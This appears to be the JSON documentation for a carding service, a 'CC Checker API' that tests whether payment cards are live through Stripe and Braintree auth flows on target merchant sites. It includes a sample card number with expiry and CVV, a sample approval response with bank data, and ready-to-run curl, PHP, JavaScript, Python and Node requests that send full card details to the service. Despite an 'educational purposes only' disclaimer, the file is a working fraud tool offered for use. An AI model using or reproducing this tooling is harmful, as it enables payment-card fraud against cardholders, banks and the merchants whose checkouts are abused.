{
    "api_name": "CC Checker API",
    "version": "1.0.0",
    "base_url": "https://cc.hackstorex.com",
    "description": "API for credit card validation using Stripe Auth gateway",
    "endpoints": [
        {
            "name": "Stripe Auth Gate",
            "method": "GET",
            "url": "/api/stripe-auth",
            "description": "Validates credit cards using Stripe authentication",
            "parameters": [
                {
                    "name": "cc",
                    "type": "string",
                    "required": true,
                    "format": "CCNUM|MM|YYYY|CVV",
                    "example": "4833160273146339|09|2028|940"
                },
                {
                    "name": "key",
                    "type": "string",
                    "required": true,
                    "description": "Your API authentication key"
                }
            ],
            "example_request": "https://cc.hackstorex.com/api/stripe-auth?cc=4833160273146339|09|2028|940",
            "example_response": {
                "gateway": "Stripe",
                "subtype": "Auth",
                "card": {
                    "number": "4833160273146339",
                    "month": "09",
                    "year": "2028",
                    "cvv": "940",
                    "formatted": "4833160273146339|09|2028|940"
                },
                "bin": {
                    "bin": "483316",
                    "brand": "Visa",
                    "type": "Credit",
                    "level": "Classic",
                    "bank": "BANCO SANTANDER",
                    "country": "Spain",
                    "country_flag": "🇪🇸"
                },
                "result": {
                    "status": "Approved",
                    "message": "Card validation successful",
                    "code": "CVV_MATCH",
                    "time": 2.45
                },
                "timestamp": "2025-10-15 12:30:45"
            }
        }
    ],
    "response_codes": [
        {
            "code": 200,
            "status": "Approved",
            "description": "Card validation successful"
        },
        {
            "code": 400,
            "status": "Bad Request",
            "description": "Invalid parameters or card format"
        },
        {
            "code": 401,
            "status": "Unauthorized",
            "description": "Invalid or missing API key"
        },
        {
            "code": 402,
            "status": "Declined",
            "description": "Card validation failed"
        }
    ],
    "error_codes": {
        "Stripe Auth": {
            "AUTH_SUCCESS": "Card approved - Authentication successful",
            "REQUEST_1_ERROR": "Failed to get registration nonce",
            "REQUEST_2_ERROR": "Registration failed",
            "REQUEST_3_ERROR": "Failed to get payment nonce",
            "CONNECTION_ERROR": "Failed to connect to target site",
            "EXCEPTION_ERROR": "Unexpected error occurred"
        },
        "Braintree Auth": {
            "APPROVED": "1000: Approved",
            "CCN_MATCH": "Card number valid - CVV declined",
            "CCV_MATCH": "CVV valid - Insufficient funds",
            "AVS_MATCH": "AVS/CVV validation passed",
            "REQUEST_1_ERROR": "Failed to get login nonce",
            "REQUEST_2_ERROR": "Login failed",
            "REQUEST_3_ERROR": "Failed to get payment nonces",
            "REQUEST_4_ERROR": "Failed to get Braintree token",
            "REQUEST_5_ERROR": "Failed to tokenize card",
            "REQUEST_6_ERROR": "Failed to add payment method",
            "CARD_DECLINED": "Card was declined",
            "EXCEPTION_ERROR": "Unexpected error occurred"
        }
    },
    "usage_examples": {
        "curl_stripe": "curl \"https://cc.hackstorex.com/api/stripe-auth?cc=4833160273146339|09|2028|940\"",
        "curl_braintree": "curl \"https://cc.hackstorex.com/api/braintree-auth?cc=4833160273146339|09|2028|940\"",
        "php": "$url = \"https://cc.hackstorex.com/api/braintree-auth?cc=4833160273146339|09|2028|940\";\n$response = file_get_contents($url);\n$data = json_decode($response, true);\necho $data[\"result\"][\"status\"];",
        "javascript": "fetch(\"https://cc.hackstorex.com/api/braintree-auth?cc=4833160273146339|09|2028|940\")\n  .then(response => response.json())\n  .then(data => console.log(data.result.status));",
        "python": "import requests\nresponse = requests.get(\"https://cc.hackstorex.com/api/braintree-auth?cc=4833160273146339|09|2028|940\")\ndata = response.json()\nprint(data[\"result\"][\"status\"])",
        "node": "const axios = require(\"axios\");\naxios.get(\"https://cc.hackstorex.com/api/braintree-auth?cc=4833160273146339|09|2028|940\")\n  .then(res => console.log(res.data.result.status));"
    },
    "rate_limit": {
        "requests_per_hour": 100,
        "requests_per_minute": 10,
        "timeout": "30 seconds"
    },
    "notes": [
        "All responses are in JSON format",
        "Times are in seconds",
        "BIN information is fetched from external API",
        "Session cookies are automatically managed",
        "Supports retry mechanism (3 attempts)",
        "⚠️ For educational purposes only"
    ],
    "support": {
        "telegram": "@CrxsMods",
        "documentation": "https://cc.hackstorex.com"
    }
}